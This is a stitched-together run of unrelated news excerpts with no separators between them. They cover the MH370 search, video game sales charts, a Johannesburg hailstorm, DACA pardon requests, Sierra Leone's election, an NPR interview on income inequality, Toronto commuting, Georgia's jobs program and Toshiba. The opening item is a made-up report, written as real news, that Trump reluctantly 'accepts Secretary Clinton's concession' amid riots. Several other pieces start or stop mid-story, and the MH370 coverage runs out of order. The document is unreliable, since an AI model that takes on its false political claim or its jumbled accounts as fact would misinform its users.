In a statement released Thursday afternoon, Trump said: “Despite clear evidence that the election was stacked against me, I have decided, after giving the matter serious consideration, to accept Secretary Clinton’s concession and the results of the election. This I do not for myself, but for the good of the country.”
Trump’s acceptance ends almost two days of near riots across the country, as voters took to the streets demanding Trump accept their will and become the 45th President of the United States.
The nation’s worry was most clear on social media, with comments from distraught Americans causing sites like Twitter and Facebook to nearly crash.
“I swear I’m moving to Canada should he fail to comply with his civic duty and take the office.” said comedian George Lopez, via his Facebook page. Several other celebrities had also threatened to move to Canada should Trump not make good on his promise to serve.
Fear of Trump making good on his threat to not accept the election results spread quickly as news of his having won Florida and North Carolina hit the airwaves Tuesday night.
— Malaysia’s prime minister said Monday that the missing Malaysia Airlines flight “ended in the southern Indian Ocean.”
It has been “concluded that MH370 flew along the southern corridor and that its last position was in the middle of the Indian Ocean, west of Perth,” Malaysian Prime Minister Najib Razak said at a press conference.
New satellite data shows that the missing Malaysian Airlines Flight 370 plunged into the southern Indian Ocean.
“This is a remote location, far from any possible landing sites. It is therefore, with deep sadness and regret, that I must inform you that according to this new data, Flight MH370 ended in the southern Indian Ocean,” Razak said.
Malaysia Airlines said in a text message to Chinese families that there were no survivors among the 239 people on board the March 8 flight.
“We deeply regret that we have to assume beyond any reasonable doubt that MH370 has been lost and that none of those on board have survived,” the airline said in the text message, according to Russia Today.
The airline said in a statement: “Our prayers go out to all the loved ones of the 226 passengers and of our 13 friends and colleagues at this enormously painful time. The ongoing multinational search operation will continue, as we seek answers to the questions which remain. Alongside the search for MH370, there is an intensive investigation, which we hope will also provide answers.”
Selamat Omar, the father of a 29-year-old aviation engineer who was on the flight, said some members of families of other passengers broke down in tears at the news.
“We accept the news of the tragedy. It is fate,” Selamat told The Associated Press in Kuala Lumpur.
Selamat said the airline hasn’t told the families yet whether they will be taken to Australia, which is coordinating the search for the plane. He said they expect more details Tuesday.
More: Maryland Trying to Lure FBI Headquarters
The prime minister’s statement comes after a Chinese plane spotted “some suspicious objects” in the broad area where satellite images have indicated possible debris from the missing Malaysia Airlines Flight 370, but a high-tech U.S. military search plane which responded to the area Monday was able to find nothing.
Hours later, officials said the crew of an Australian Air Force plane had seen two objects floating elsewhere in the Indian Ocean search area.
Earlier Monday, Australian Prime Minister Tony Abbott said the crew on board an Australian P3 Orion had located two objects in the search zone – the first grey or green and circular, the second orange and rectangular. The crew was able to photograph the objects, but it was unclear if they were part of an aircraft.
Separately, the crew aboard one of two Chinese IL-76 aircraft combing the search zone observed two large objects and several smaller ones spread across several square miles, Xinhua News Agency reported. At least one of the items – a white, square object – was captured on a camera aboard the plane, Chinese Foreign Ministry spokesman Hong Lei said.
China had redirected the icebreaker Snow Dragon toward the latest find, and that ship was due to arrive early Tuesday. Six other Chinese ships have been directed toward the search zone, about 1,550 miles southwest of Perth, along with 20 fishing vessels that have been asked to help, Hong said.
The ocean depth in the search area ranges between 3,770 feet and 23,000 feet, and the U.S. Pacific Command said it was sending a black box locator.
The Towed Pinger Locator, which is pulled behind a vessel at slow speeds, has highly sensitive listening capability so it can hear the black box “pinger” down to a depth of about 6,100 meters, Cmdr. Chris Budde, a U.S. 7th Fleet operations officer, said in a statement.
More: TV Station Captures Moment Turkish Forces Shoot Down Syrian Fighter Jet
“This movement is simply a prudent effort to preposition equipment and trained personnel closer to the search area so that if debris is found we will be able to respond as quickly as possible since the battery life of the black box’s pinger is limited,” Budde said.
Australian Maritime Safety Authority’s rescue coordination center said the search area was expanded from 22,800 to 26,400 square miles and that two Chinese Ilyushin IL-76 planes had joined the search from Perth, increasing the number of aircraft to 10 from eight a day earlier. It was one of those Ilyushins which reported the “suspicious objects” later Monday morning.
Flight 370 disappeared while en route from Kuala Lumpur, Malaysia, to Beijing, setting off a multinational search that has turned up no confirmed pieces of debris and nothing conclusive on what happened to the jet.
In Paris, French Foreign Ministry spokesman Romain Nadal said in an interview with The Associated Press that satellite radar echoes had “identified some debris that could be from the Malaysian Airlines plane.”
The spokesman said that these echoes “are not images with a definition like a photograph, but they do allow us to identify the nature of an object and to localize it.”
Gathering satellite echo data involves sending a beam of energy to the Earth and then analyzing it when it bounces back, according to Joseph Bermudez Jr., chief analytics officer at AllSource Analysis, a commercial satellite intelligence firm.
Satellite radar echoes can be converted into an image that would look similar to a black-and-white photo, though not as clear, he said. “You’d have to know what you’re looking at,” Bermudez said.
A Malaysian official involved in the search said the French data located objects about 575 miles north of the spots where the objects in the images released by Australia and China were located.
One of the objects located was estimated to be about the same size as an object captured Tuesday by the Chinese satellite that appeared to be 72 feet by 43 feet, said the official, who declined to be identified because he wasn’t authorized to speak to the media.
U.S. underwater wreck hunter David Mearns on Monday described the French satellite sighting of potential debris as a “positive development,” although he was unaware of the full details.
The latest French satellite data came to light on Sunday as Australian authorities coordinating the search sent planes and a ship to try to locate a wooden pallet that appeared to be surrounded by straps of different lengths and colors.
The pallet was spotted on Saturday from a search plane, but the spotters were unable to take photos of it.
Wooden pallets are most commonly used by ships but are also used airplane cargo holds, and an official with Malaysia Airlines said Sunday night that the flight was, in fact, carrying wooden pallets. The official spoke on condition of anonymity in keeping with company policy.
Mearns was an adviser to British and French search authorities following the loss of Air France Flight 447 in the Atlantic Ocean during a flight from Brazil to Paris in 2009.
He warned that time was running out to find confirmed wreckage that could lead searchers back to the aircraft’s black box.
The southern Indian Ocean is thought to be a potential area to find the jet because Malaysian authorities have said pings sent by the Boeing 777-200 for several hours after it disappeared indicated that the plane ended up in one of two huge arcs: a northern corridor stretching from Malaysia to Central Asia, or a southern corridor that stretches toward Antarctica.
Malaysian authorities have not ruled out any possible explanation for what happened to the jet, but have said the evidence so far suggests it was deliberately turned back across Malaysia to the Strait of Malacca, with its communications systems disabled. They are unsure what happened next.
Authorities are considering the possibilities of hijacking, sabotage, terrorism or issues related to the mental health of the pilots or someone else on board.
In the U.S., Tony Blinken, President Barack Obama’s deputy national security adviser, said on CNN: “There is no prevailing theory.”
“Publicly or privately, we don’t know,” he said. “We’re chasing down every theory.”
It didn't share specific sales figures for any of this, only saying in a press release that Pokemon Sun, Pokemon Moon, and Final Fantasy XV for PS4 were the three best-selling games on the site. Amazon also didn't share the specific period this covers, but it presumably spans parts of November and December.
We already knew Sun and Moon had a very strong launch, breaking Nintendo records for fastest-selling game in various regions around the world. Square Enix announced that Final Fantasy XV shipped (but didn't necessarily sell) 5 million copies at launch worldwide, making for the fastest start in the series' history. That may be somewhat misleading, however, as previous games didn't launch simultaneously around the world as this one did.
Call of Duty, perennially a big seller, has struggled with Infinite Warfare by series standards, though it still came out on top of the NPD's November sales charts in the US. Its omission is probably the biggest surprise on this list.
JOHANNESBURG - As severe thunderstorms continue to lash Gauteng on Thursday evening, Johannesburg Emergency Services say parts of the West Rand have already been flooded and trees have fallen across roads.
Officials say they've been dispatched to Soweto where the storms have flooded and damaged homes.
The South African Weather Service has placed the province on high alert, with strong winds and hail forecast as well as flooding in low lying areas.
Emergency service's Robert Mulaudzi is urging motorists to exercise caution.
"Motorists need to be very vigilant. Actually I would advise them just to stop on the side of the road until the storm subsides."
The weather services Jan Vermeulen says the storm is still moving through the province.
"The hailstorm is now over Lanseria but is extending over the Kyalami and Sandton areas. We also expect that there could be localised flooding in places."
One massive #storm #hailstorm #nopower pic.twitter.com/9GvtKMqGPM
Lecinda Weiss (@LecindaWeiss) November 28, 2013
I wonder where is my mom on this #HailStorm :'''''''(
Thabo Baby Kotelo (@ThaboBee) November 28, 2013
Neighbor is pissed #Hailstorm pic.twitter.com/e1UjYnnGxl
Hailstorm in the west rand, lot of cars damaged pic.twitter.com/hMye04XWmE
Hailstorm randfontein tjoooo pic.twitter.com/xjNBJKNrL2
Qiniso M (@Queqiniso) November 28, 2013
Ok the #Hailstorm in Pretoria is childsplay compared to what I've just seen coming from the east rand and krugersdorp.
Valeska Abreu (@Valeska1) November 28, 2013
:( eish " @_Motsoaledi: DUDE!! All the windows ta my house nje, gone!! " @Prada992: Nkare my crib has been shot at ☹ pic.twitter.com/fSzglMjH3h""
Zandi Mzondeki (@ZandiMZK) November 28, 2013
Hectic! #Hailstorm RT @MedixGauteng: Pic of hail damaged car on the West Rand. http://t.co/bItNlcBIk0
Itumeleng Sole (@tumisole) November 28, 2013
@gwalax pic.twitter.com/RBRPU94BsV
George Honiball (@georgehoniball) November 28, 2013
Cloudy with a chance of golf balls!
Hectic hailstorm. Drive safe. Be safe. #Gauteng pic.twitter.com/kAnxGEvpCm
Titus Judah (@TitusJudah) November 28, 2013
All jokes aside. This sounds bad. Take care tweeps. #Hailstorm #Gauteng
Ina Gouws (@ina_gouws) November 28, 2013
#Hailstorm. Reduced visibility. pic.twitter.com/jKnGvsdyUn
#Thunderstorm pic.twitter.com/HpBKyDiyTf
@PigSpotter Hail from the south #storm #hailstorm pic.twitter.com/bNMQEyOD4N
Lecinda Weiss (@LecindaWeiss) November 28, 2013
Massive hailstorm in pretoria near R21 - hail size of golfballs #scary #freakyweather pic.twitter.com/u2O3oRtW5M
Brenden Nel (@BrendenNel) November 28, 2013
Community leaders have planned a rally in New York on Wednesday to make the request.
“Millions of law abiding undocumented immigrants are fearful of what will happen when the new Administration takes control in January,” the group of New York state lawmakers and immigration advocates said in a statement announcing the rally. “However, President Obama has the power of pardons that he can use to protect all DACA enrollees.”
As of September, more than 740,000 illegal immigrants had been approved for Mr. Obama’s Deferred Action for Childhood Arrivals program, a minor amnesty that grants young adult illegal immigrants a two-year stay of deportation and issues them work permits, entitling them to driver’s licenses and some taxpayer benefits.
Mr. Trump has signaled that he would cancel that order, leaving Dreamers out of status when their work permits expire. That puts Mr. Obama in a bind because he has expressed an interest in helping illegal immigrants but also has acknowledged limits on power.
Mr. Obama ducked a question this week about what steps he might take and instead urged Mr. Trump to “think long and hard” before canceling the DACA program.
PHOTOS: Pack your bags: Stars who vowed to leave America if Trump won
“I mean, these are kids who were brought here by their parents. They did nothing wrong. They have gone to school. They have pledged allegiance to the flag. Some of them joined the military. They’ve enrolled in school. By definition, if they are part of this program, they are solid, wonderful young people of good character,” he said.
But advocates want assurance from Mr. Obama in the form of a pardon.
As precedent for mass pardons for those who have never been convicted, they point to Confederate soldiers in the Civil War and draft evaders during the Vietnam War.
Rosemary Jenks, a government relations manager at NumbersUSA, which lobbies for stricter immigration enforcement, said an Obama pardon could erase from the Dreamers’ records the illegal ways they entered the country. But the president couldn’t put illegal immigrants on a pathway to citizenship through a pardon.
“He can’t grant them legal status,” she said.
The advocates said their goal is to stop deportations at least to give Congress and Mr. Trump the chance to tackle a broader immigration bill that could include legal status.
Mr. Trump, though, has suggested a different direction. In an interview with “60 Minutes” on CBS this weekend, he said he would put his emphasis on border security and on deporting up to 3 million illegal immigrants with criminal records.
Once the border is secured and the criminals are deported or incarcerated, he said, he will turn his attention to the rest of the illegal immigrant population, whom he called “terrific people.”
Advocates said they don’t believe Mr. Trump. They say far fewer than 3 million illegal immigrants have criminal records and that to deport that many would dip into rank-and-file illegal immigrants whose only lawbreaking is in relation to their unauthorized status.
“We know Trump is lying about immigrants because his lips are moving,” Lynn Tramonte, deputy director of America’s Voice, wrote in a commentary.
The Migration Policy Institute also said the 3 million number is inflated. Its own calculations put the number of illegal immigrants with criminal convictions at fewer than 1 million.
Sierra Leone's incumbent President Ernest Bai Koroma has won the presidential election, the election commission has said.
He received almost 59% of votes cast, meaning there is no need for a run-off as he won more than 55%.
His main challenger, ex-military ruler Julius Maada Bio, took 38% of the ballots in Saturday's peaceful poll.
It was the third election since the 1991-2002 civil war, which killed more than 50,000 people.
International observers have already declared the election to be peaceful and transparent.
The average national turnout was 87.3%, the election commission said.
'Growing fast'
Mr Koroma, who faced eight candidates, took 1,314,881 votes - 58.7% of the total.
Image copyright AP Image caption Supporters of President Koroma took to the streets of Freetown to celebrate his win
It will be his second and final term in office.
His supporters flooded the streets of the capital as news of his comfortable win became known - they danced, sang and banged pots and pans, the BBC's Mark Doyle reports from Freetown.
Parliamentary and local council election results are yet to be declared.
Saturday's vote was the first post-war election Sierra Leone had organised itself - the other two held since the war ended in 2001 were run by the United Nations.
Although many people around the world might still associate Sierra Leone with the Hollywood movie Blood Diamond - a place of war and atrocities - that image today could not be further from the truth, our correspondent says.
Election figures Ernest Bai Koroma, APC, 1,314 881 votes, 58.7%
Julius Maada Bio, SLPP, 837,517 votes, 37.4%
Turnout 87.3%
4.7% of votes invalid
Sierra Leone is now a peaceful, democratic nation and the economy is growing fast - even if it remains one of the poorest nations in Africa, with a large proportion of the population of about six million living on less than $1.25 (80p) a day.
With $161.2M, Skyfall is the UK’s No. 1 movie ever, followed by Avatar ($150M) and this year’s Spectre ($138.3M). Star Wars should handily jump past the latest James Bond within the next few days.
In further milestones, SWTFA has taken over £8.2M ($12.16M) in IMAX, besting Spectre‘s previous UK record. The BFI London is now the biggest grossing IMAX cinema in the world for The Force.
The widening gap between the rich and poor in the U.S. has become a central touch point for economists, pundits and politicians across the U.S. New York City's newly sworn-in mayor, Bill deBlasio, was elected after campaigning against a city divided between the haves and have-nots. President Obama has called tackling inequality the defining challenge of our time, saying that growing inequality and a lack of upward mobility jeopardizes the American dream. But what, exactly, is income inequality? Audie Cornish puts that question to Drew DeSilver, a senior writer for the Pew Research Center's Fact Tank blog.
AUDIE CORNISH, HOST:
The debate over what to do about the long term unemployed comes in the midst of a larger conversation about income inequality. Democrats like New York's new mayor, Bill de Blasio, have made it a central talking point. President Obama himself delivered a big speech at the end of 2013 on what he called a relentless and damaging trend.
PRESIDENT BARACK OBAMA: And that is a dangerous and growing inequality and lack of upward mobility that has jeopardized middle class America's basic bargain that if you work hard, you have a chance to get ahead.
CORNISH: But what exactly is income inequality? Ask six economists and you're likely to get six different answers. And we're going to ask Drew DeSilver of the Pew Research Center who spent a lot of time lately trying to measure it. Welcome to the program, Drew.
DREW DESILVER: Thanks for having me.
CORNISH: So you've written that economists disagree on how much inequality there is and how to measure it so what are the most popular measurements for understanding inequality?
DESILVER: Well, there's all kinds of ways that you can measure income inequality specifically without even getting into whether you should be measuring wealth or consumption inequality or any other kinds of economic inequality. But if you're just looking income, you have to decide whether you want to look at taxable income, total gross income, do you want to include things like Social Security payments or unemployment insurance and depending on which set of numbers you use, you'll come up with different answers, although no matter which income measurement you use, you will see a generally rising trend over time, particularly in recent years.
CORNISH: So looking back, say, from the economic crash in 2008 to President Obama's speech last month, what has been the trend? Are we becoming more unequal and in what way?
DESILVER: Well, I like to look at the numbers compiled by the University of California researcher named Manuel Saiz and according to his figures, in 2008, the top 1 percent of American families had 20.9 percent of all income in the U.S. and by 2012, which is the most recent numbers he had, that had risen to 22.5 percent. Now, when you look at the bottom 90 percent, they had almost 52 percent of the national income in 2008. That had fallen below half to 49.6 percent as of 2012, which was the lowest in any of the years that Saiz had researched.
CORNISH: So you mention measures for understanding inequality so just looking at income inequality specifically, but what about wealth? Talk about the difference there in those numbers.
DESILVER: Well, when you look at wealth inequality, it almost always turns out to be a lot more unevenly distributed than income and one of the ways to look at that is by looking at the top 20 percent. The richest 20 percent of the U.S. families own 88.9 percent of all wealth in country, according to the research that I've seen, whereas the highest earning 20 percent of all U.S. families earned 59.1 percent of all income.
CORNISH: All right. But just to understand, the top 20 percent of U.S. families have 88 percent of all the wealth.
DESILVER: 89 percent.
CORNISH: Now, sometimes people kind of hear this information in a blizzard of numbers. Is there a statistic for you that feels like really reflects how stark the gap is or how controversial this debate is?
DESILVER: I guess one of the other numbers that really strikes me was an analysis that we did based on 2012 dollars about the disparity between household income by race and ethnicity. And if you look at that, the median household income for white Americans was about $57,000 in 2012. For black families, it was $33,300 and for Hispanic families, it was $39,000. And that really is, to me, a very large gap.
CORNISH: Why does there appear to be this widening of the gap since the 2007, 2008 financial crisis? I mean, we're in the middle of reporting this week about a surprisingly robust recovery of the stock market.
DESILVER: And that's true, but you have to remember that approximately half of Americans don't own stock in any shape or form, which is another way of saying that only about half of Americans are exposed to the stock market either directly or through their retirement accounts. And stock ownership tends to be very heavily concentrated in the upper income brackets. So the people who are most benefiting from the run-up in the stock market are folks who are already at the top of the distribution anyway.
CORNISH: That's Drew DeSilver. He's a senior writer for the Pew Research Center's fact tank blog. Drew, thanks for speaking with us.
DESILVER: Thank you very much for having me.
(SOUNDBITE OF MUSIC)
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The rise in food stamp usage
If we look at food stamp costs as a metric of economic health for the poor, the recession started in 2001 and has not let up:
What is more telling is the large number of Americans currently on food stamps. Roughly 47 million Americans are now receiving food assistance from the SNAP program. The number is startling and we see a massive rise in usage starting in 2005. At this point the debt bubble was going into full force but so was the acceleration of Americans needing additional support just to get by:
At its core, the large number of Americans on food stamps is a sign that little attention is being paid to the lower echelons of our society. Lip service is paid to the middle class but seeing net worth figures and wage stagnation tells you another story. The reality that a larger number of college students are on food stamps is revealing:
“(WaPo) Some college students now work two and three part-time jobs to cover living expenses and some of their tuition. They’re applying for more student loans and claiming financial independence on their tax forms to become eligible for financial aid that does not factor in parental contributions. They’re cutting corners by renting required textbooks instead of buying them or simply making due without some textbooks. They’re also bypassing expensive college meal plans and applying for food stamps, an option that once carried a social stigma on campus but no longer does now that food stamp usage is more commonplace at colleges around the country.”
Now do the simple math here. The Federal minimum wage is $7.25 per hour. A typical year of college at a public school is likely to cost $20,000 (tuition, books, fees, etc). Assume this young American is working 20 hours a week and taking on a full load of course credits. So if you run the figures:
$7.25 x 20 = $145 per week (before taxes) 50 weeks of work = $7,250 (before taxes)
Even assuming 50 weeks of steady work and not factoring payroll taxes someone working 20 hours a week for 50 weeks of the year at minimum wage is going to get $7,250. This is far short from the $20,000 and we didn’t even factor in rent or transportation expenses. Is it any wonder why the student debt outstanding is now over $1 trillion? This scenario is for $20,000 a year for all expenses and with many private schools at $50,000, you can imagine how quickly many people are getting into financial trouble.
“For instance, Virginia spent $447,000 in SNAP benefits for college students in January 2007 but by January of this year the total had risen to $2.9 million, according to the state’s Department of Social Services. The state spent $30 million in food assistance benefits to college students in 2011. “I never thought I would be on food stamps as a student, but with this economy I had no choice,” said student Courtney Davis, a second year student at Howard University majoring in maternal health and childcare.”
That is an incredible jump in the above example. In 2007 Virginia spent $447,000 in food stamp benefits to college students. That number jumped up to $30 million in 2011, a 67 time increase. Things have gotten worse for those at the bottom rungs of our economy and when did we hear any party discuss this in the drawn out campaign? The only time this came up was as a criticism and no one offered concrete solutions.
These struggling college students are simply trying to get by:
“I am receiving about $200 worth of food stamps per month, and I can’t imagine living without them,” said Sheena Vails, a sophomore at the University of Missouri who lives in an apartment with three other student SNAP participants.”
Keep in mind there is a difference between being poor and broke. College students have always been broke for the most part. Yet many would come out with little debt because college costs were much more affordable so that part-time work (which was easier to find) would help pay the way for a Spartan existence. Today as we just highlighted even a part-time job at 20 hours a week (even at 40) will not pay that $20,000 in college expenses. Forget about actually having time to study.
The financial system for the poor and the rising expenses for college are largely broken. The one segment of debt that is still roaring in terms of growth is college debt. If the government with banks pulled back its funding you can rest assured that costs would go down. This is why in the early 1990s the typical student left with a little more than $5,000 in debt while today, it is closer to $25,000 (and keep in mind household wages have been stagnant for over a decade):
College debt and food stamps. Not exactly a pair you would expect in an economic recovery.
Two days earlier, also during the morning rush hour, a person is hurt on the subway track at Queen's Park station, forcing the shutdown of part of the downtown Yonge line. It takes 35 minutes for emergency workers to clear the scene and another 20 for the backlog of passengers to clear. Some 70,000 TTC passengers are directly affected, but the impact ripples across the network.
Neither incident was remarkable, yet both caused thousands of people to be late, and laid bare the fragility of Toronto's transportation systems. In a city with some of the longest commute times on the continent, it does not take much to make a bad situation worse.
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"We have jeopardized the economic competitiveness of this region and that's the price we're paying now," said Murtaza Haider, director of the Institute of Housing and Mobility at Ryerson University. "We are not at capacity, we have been beyond capacity … for the last 20 years."
Toronto's major highways and transit lines have a common challenge: Amid booming urban growth, they struggle to absorb the fallout of everyday incidents. And solutions are not easy.
The partial shutdown of the subway on Wednesday overloaded the Bloor-Yonge interchange – at times, trains on the east-west line were bypassing the station, and walk-in passengers were being prevented from entering – and it took around an hour for normal travel to resume.
"Everybody who's riding the system is affected because it does have a knock-on effect," TTC spokesman Brad Ross said.
That same ripple effect was felt on the Gardiner on Friday morning, when a large truck stalled near Jameson Avenue. Drivers on the key commuter artery said the incident backed up traffic and shifted the point at which stop-and-go congestion begins several kilometres farther west. This jam-up also made it harder for the tow-truck to get to the breakdown, where police sat waiting with lights flashing.
"A police car's not going to push a heavy truck," Constable Clint Stibbe said. "Because the tow truck doesn't have any emergency equipment that would allow priority to get down the road, it took the tow truck from 8:05 am until 9:15 am to arrive on scene."
The broken-down truck was moved moments later, but the damage to traffic had been done.
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Traffic engineers have identified the so-called shockwave effect, which sends the impact of a slowdown farther back the road. A Japanese study showed that this can occur even without an apparent trigger. If sparked by an incident, especially one that closes a lane of traffic, the effects can be profound.
Joey Gagne, president of Abrams Towing Services, said the city could consider paying to have heavy tow-trucks positioned at key points on the highways. He said the cost – about $200,000 per year for each truck and driver, he estimated – could be worth it when considering the economic impact of traffic back-ups.
Studies put the annual cost of congestion in the Toronto region at upwards of $6-billion.
Mr. Haider said the city has to think about expanding the roads. He acknowledged long-standing research showing that the new roads would fill up, but said they still would have value by being able to carry more vehicles.
The sort of problems the TTC faced this week are also difficult to tackle. The system carries about 10 million people a week, and Bloor-Yonge is a choke point at the best of times.
Mr. Ross said the downtown part of the subway system does not have the physical space to consider double-tracking it, which in any event would be hugely expensive. More crossovers (points where trains can switch to the other track and turn back) could help minimize the amount of the system that needs to be shut during a problem, but would be costly. New crossovers have been built around College and King stations, but they will not be operational for a few years.
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Although a relief line would could help the TTC divert some passengers in such incidents, Mr. Ross said that feature should not be considered a selling point of such an expansion. Platform-edge doors, which would keep unauthorized people off the track and reduce the many delays due to track fires, would cost hundreds of millions of dollars, according to TTC figures.
In some ways, though, both of these problems were simply bad luck.
"At 8:30 in the morning, when this happened, that is really at the height, or the peak if you will, of the peak morning rush," Mr. Ross said. "At any other time, the knock-off effect of crowding wouldn't have been as noticeable because you don't have as many people riding."
Consumers spent $277 million on software last month, thanks in particular to the launch of Nintendo’s Splatoon 2 and Activision’s Crash Bandicoot: N. Sane Trilogy. The Nintendo Switch and Sony’s PlayStation 4 led the charge in hardware sales, which grew 29 percent to $182 million as compared to July 2016.
Here are the numbers for July 2017:
Total: $588 million (up 19 percent from $496 million in July 2016)
$588 million (up 19 percent from $496 million in July 2016) Hardware: $182 million (up 29 percent from $142 million)
$182 million (up 29 percent from $142 million) Console software: $263 million (up 17 percent from $224 million)
$263 million (up 17 percent from $224 million) PC software: $14 million (up 14 percent from $12 million)
$14 million (up 14 percent from $12 million) Accessories: $129 million (up 9 percent from $118 million)
“Total video game spending in July 2017, which includes hardware, software and accessories, grew 19 percent versus year ago to $588m. Growth was seen across all categories of spending,” NPD analyst Mat Piscatella said. “The launch of Splatoon 2 on the Nintendo Switch, and month 2 sales of Crash Bandicoot: N. Sane Trilogy drove software gains, while new supply of Nintendo Switch and continued strength of PlayStation 4 pushed hardware higher.”
The NPD report doesn’t cover total market spend, as it is missing certain data (such as digital sales from Blizzard’s store on its Battle.net service). It is more of a snapshot of the market as a whole, using data from participating publishers and platforms. Certain marked games only include physical sales.
Software
Overall
Splatoon 2* Crash Bandicoot: N. Sane Trilogy Grand Theft Auto V Final Fantasy XII: The Zodiac Age The Legend of Zelda: Breath of the Wild* Injustice 2 Mario Kart 8* Overwatch** Tom Clancy’s Rainbow Six: Siege NBA 2K17 Tom Clancy’s Ghost Recon: Wildlands Call of Duty: Modern Warfare Remastered Call of Duty: Black Ops III Minecraft Call of Duty: Infinite Warfare MLB 17: The Show ARMS* Battlefield 1 Mass Effect: Andromeda Tekken 7
* No digital sales
** No Battle.net sales
Nintendo was the big winner last month, with Splatoon 2, The Legend of Zelda: Breath of the Wild, and Mario Kart 8 all in the top 10. Splatoon 2 was a highly anticipated sequel and a Nintendo Switch exclusive.
“Nintendo’s Splatoon 2 was the best-selling title of the month,” said Piscatella. “Three of the month’s top seven best-selling games are published by Nintendo. Nintendo was also the best-selling software publisher in July.”
In June, Tekken 7 and Injustice 2 fought their way to the top of charts. Since then, Tekken 7 has cratered from its No. 1 position to No. 20. Injustice 2 is still in the top 10, possibly bolstered by Warner Bros. Interactive Entertainment’s commitment to live operations and the Eleague Injustice 2 World Championship coming up later this year.
Though Horizon Zero Dawn has slipped off the overall charts, Piscatella says that it contributed to a resurgence of role-playing games. Along with titles like Nier: Automata, Persona 5, Mass Effect: Andromeda, and Kingdom Hearts HD 2.8 Final Chapter Prologue, the RPG year-to-date sales have grown over 50 percent year-over-year.
Xbox One
Grand Theft Auto V Injustice 2 Overwatch** Tom Clancy’s Rainbow Six: Siege Tom Clancy’s Ghost Recon: Wildlands Call of Duty: Infinite Warfare Minecraft Forza Horizon 3 Call of Duty: Black Ops III NBA 2K17
PlayStation 4
Crash Bandicoot: N. Sane Trilogy Final Fantasy XII: The Zodiac Age Grand Theft Auto V Injustice 2 MLB 17: The Show Call of Duty: Modern Warfare Remastered Horizon Zero Dawn Overwatch** NBA 2K17 Tom Clancy’s Ghost Recon: Wildlands
Nintendo Switch
Splatoon 2* The Legend of Zelda: Breath of the Wild* Mario Kart 8* ARMS* 1-2 Switch* Ultra Street Fighter II: The Final Challengers* Lego City Undercover* Cars 3: Driven to Win* Fate/Extella: The Umbral Star* Just Dance 2017*
Nintendo 3DS
Pokemon: Sun* Miitopia* Super Smash Bros.* Pokemon: Moon* Super Mario Maker* Hey! Pikmin* Mario Kart 7* Fire Emblem Echoes: Shadow of Valentia* Ever Oasis* Mario Sports Superstars*
The best-selling games of 2017 so far
Tom Clancy’s Ghost Recon: Wildlands The Legend of Zelda: Breath of the Wild* For Honor Grand Theft Auto V Horizon Zero Dawn Injustice 2 Mass Effect: Andromeda Resident Evil 7: Biohazard NBA 2K17 Call of Duty: Infinite Warfare
The best-selling games over the last 12 months
Call of Duty: Infinite Warfare Battlefield 1 NBA 2K17 Madden NFL 17 Grand Theft Auto V Tom Clancy’s Ghost Recon: Wildlands FIFA 17 The Legend of Zelda: Breath of the Wild* Final Fantasy XV For Honor
Hardware & accessories
The Nintendo Switch and PlayStation 4 made up the bulk of hardware sales in July. Splatoon 2 was a big reason for the Switch’s continued success last month.
“Year to date, hardware spending has grown 20 percent versus 2016 to $1.6 billion. Performance of the Nintendo Switch continues to be the primary cause of the year-on-year gains,” said Piscatella. “Sony’s PlayStation 4 is the best-selling hardware platform year to date.”
While accessories were down in June, the sector grew 9 percent in July. Gamepads likely drove this, since Interactive Game Toys are still down.
Obama told Congress on Thursday in a major speech on jobs that the state-run Georgia Work$ initiative, along with other measures, would help people unemployed for more than six months and he stressed that Republican leaders in Congress supported it.
“We have to do more to help the long-term unemployed in their search for work,” Obama said. Fear the U.S. economy could slip back into recession is hurting the Democratic president’s chances of re-election in 2012.
“This jobs plan builds on a program in Georgia that several Republican leaders have highlighted where people who collect unemployment insurance participate in temporary work as a way to build their skills while they look for a permanent job,” Obama told Congress.
But Georgia Work$ is being restructured to overcome significant flaws. Even within the state, it is seen as “not a marquee program,” said state Labor Commissioner Mark Butler, the Republican elected official who oversees it.
More than 30,000 people benefited from the program in the past, but in its current form, Georgia Work$ is tiny. Only 12 unemployed people signed up in August and 92 have done so since February, according to state Department of Labor statistics.
The voluntary program places unemployed people with firms for eight weeks of job training similar to an internship. Participants receive unemployment insurance plus a small stipend and have the chance of a job at the end of it.
Butler said the program he inherited in January was virtually bankrupt and “fraught with problems,” so he is surprised it has attracted so much national attention.
Obama gave no details of how the program would be applied at a national level and Butler said his office had had no contact with the White House.
“We think that the foundation (idea) has merit but we don’t believe that the program we have right now is as effective as it could be and it needs a lot of tweaking,” Butler said.
“I don’t really like the idea of federalizing this program.
.... We would like to make some changes to it and we would like to stay in control of it and not have it mandated from Washington,” Butler said in reaction to the speech.
Butler said it was just one tool to fight unemployment in Georgia, which stood at 10.1 percent in July and has exceeded the U.S. average for the past 48 months. Losses in manufacturing, construction and finance have been severe.
SKILLS DEFICIT
One advantage of the initiative is that it reduces the risk for employers who want to hire, former Labor Commissioner Mike Thurmond, a Democrat who set up the program in 2003, told Reuters Insider.
Yet employers remain wary. Local business leaders who spoke in Athens, Georgia, this week linked their reluctance to hire to concern over future demand in a struggling economy.
They also cited a skills deficit among the unemployed.
In one example, construction equipment maker JCB North America set out last November to fill 200 new skilled manufacturing jobs at its headquarters in Savannah, Georgia.
“We thought it would be a fairly easy task given the high unemployment figures especially here in Georgia but we have had significant difficulties in finding the skilled labor,” general marketing manager Karen Guinn said.
‘CAN THE GOVERNMENT HELP?’
Georgia Work$ had been successful but only “at the margins,” said Thomas Smith, a finance professor at Emory University’s Goizueta business school. He said it needed more rigorous follow-up with employers to maximize its potential — something that would increase administrative costs.
Butler said it would provide more help for low-skilled unemployed people than jobless professionals and he would welcome dialogue with other states that wanted to use it as a model.
The program has undergone substantial recent change. Between March 2003 and July 2011, employers accepted some 32,000 participants into training.
Of those, some 24 percent who completed training were hired, officials said, although they acknowledged the program’s statistics needed to be improved. There are no figures on long-term job retention and state administrative costs have not been tallied.
In September 2010, the program was opened to any job seeker, the stipend was increased to $600 from $240 and its length was reduced to six weeks from eight. Monthly participation jumped to a peak of 4,081 in January this year.
But the changes blew through the annual budget and Butler began an overhaul and reinstated the original conditions in a move that decimated the participation rate.
Toshiba is struggling hard after its US nuclear department filed for bankruptcy in March. It has sold other parts of its business to stay afloat, including its dishwasher and washing machine appliance branch to China’s Midea Group. The Visual Solutions subsidiary, in particular, had reported a net operating loss of $54.1 million in the last fiscal year.
